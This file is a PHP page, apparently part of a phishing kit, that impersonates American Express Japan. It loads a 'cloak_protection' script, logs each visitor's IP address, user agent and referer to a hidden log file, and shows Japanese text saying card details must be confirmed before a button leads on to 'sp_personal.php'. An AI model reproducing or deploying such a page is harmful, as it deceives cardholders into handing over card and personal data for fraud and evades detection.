<?php
require_once 'cloak_protection.php';

$log_data = [
    'timestamp' => date('Y-m-d H:i:s'),
    'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
    'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
    'referer' => $_SERVER['HTTP_REFERER'] ?? 'direct',
    'request_uri' => $_SERVER['REQUEST_URI'] ?? '/',
    'method' => $_SERVER['REQUEST_METHOD'] ?? 'GET'
];
file_put_contents('/tmp/amex_access.log', json_encode($log_data) . "\n", FILE_APPEND | LOCK_EX);
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>American Express Japan</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { font-family: 'Helvetica Neue', Arial, sans-serif; background: #f8f9fa; }
        .header { background: #006fcf; color: white; padding: 15px 0; }
        .container { max-width: 1200px; margin: 0 auto; padding: 0 20px; }
        .logo { font-size: 24px; font-weight: bold; }
        .main { padding: 40px 0; }
        .card-section { background: white; padding: 30px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom: 30px; }
        .card-title { color: #006fcf; font-size: 28px; margin-bottom: 20px; }
        .card-subtitle { color: #666; font-size: 16px; margin-bottom: 30px; }
        .btn-primary { background: #006fcf; color: white; padding: 15px 30px; border: none; border-radius: 4px; font-size: 16px; cursor: pointer; text-decoration: none; display: inline-block; }
        .btn-primary:hover { background: #0056b3; }
        .features { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px; margin: 30px 0; }
        .feature { padding: 20px; border-left: 4px solid #006fcf; }
        .footer { background: #333; color: white; padding: 30px 0; text-align: center; }
    </style>
</head>
<body>
    <div class="header">
        <div class="container">
            <div class="logo">American Express</div>
        </div>
    </div>
    
    <div class="main">
        <div class="container">
            <div class="card-section">
                <h1 class="card-title">お客様専用ページ</h1>
                <p class="card-subtitle">アメリカン・エキスプレスカードの各種お手続きはこちらから</p>
                
                <div class="features">
                    <div class="feature">
                        <h3>カード情報の確認・変更</h3>
                        <p>ご登録情報の変更やカード利用状況の確認ができます</p>
                    </div>
                    <div class="feature">
                        <h3>ポイント・特典</h3>
                        <p>メンバーシップ・リワードのご確認とご利用</p>
                    </div>
                    <div class="feature">
                        <h3>セキュリティ設定</h3>
                        <p>不正利用防止のためのセキュリティ機能設定</p>
                    </div>
                </div>
                
                <p style="margin: 30px 0;">続行するには、カード情報の確認が必要です。</p>
                <a href="sp_personal.php" class="btn-primary">お手続きを開始する</a>
            </div>
        </div>
    </div>
    
    <div class="footer">
        <div class="container">
            <p>&copy; 2024 American Express Company. All rights reserved.</p>
        </div>
    </div>
</body>
</html>
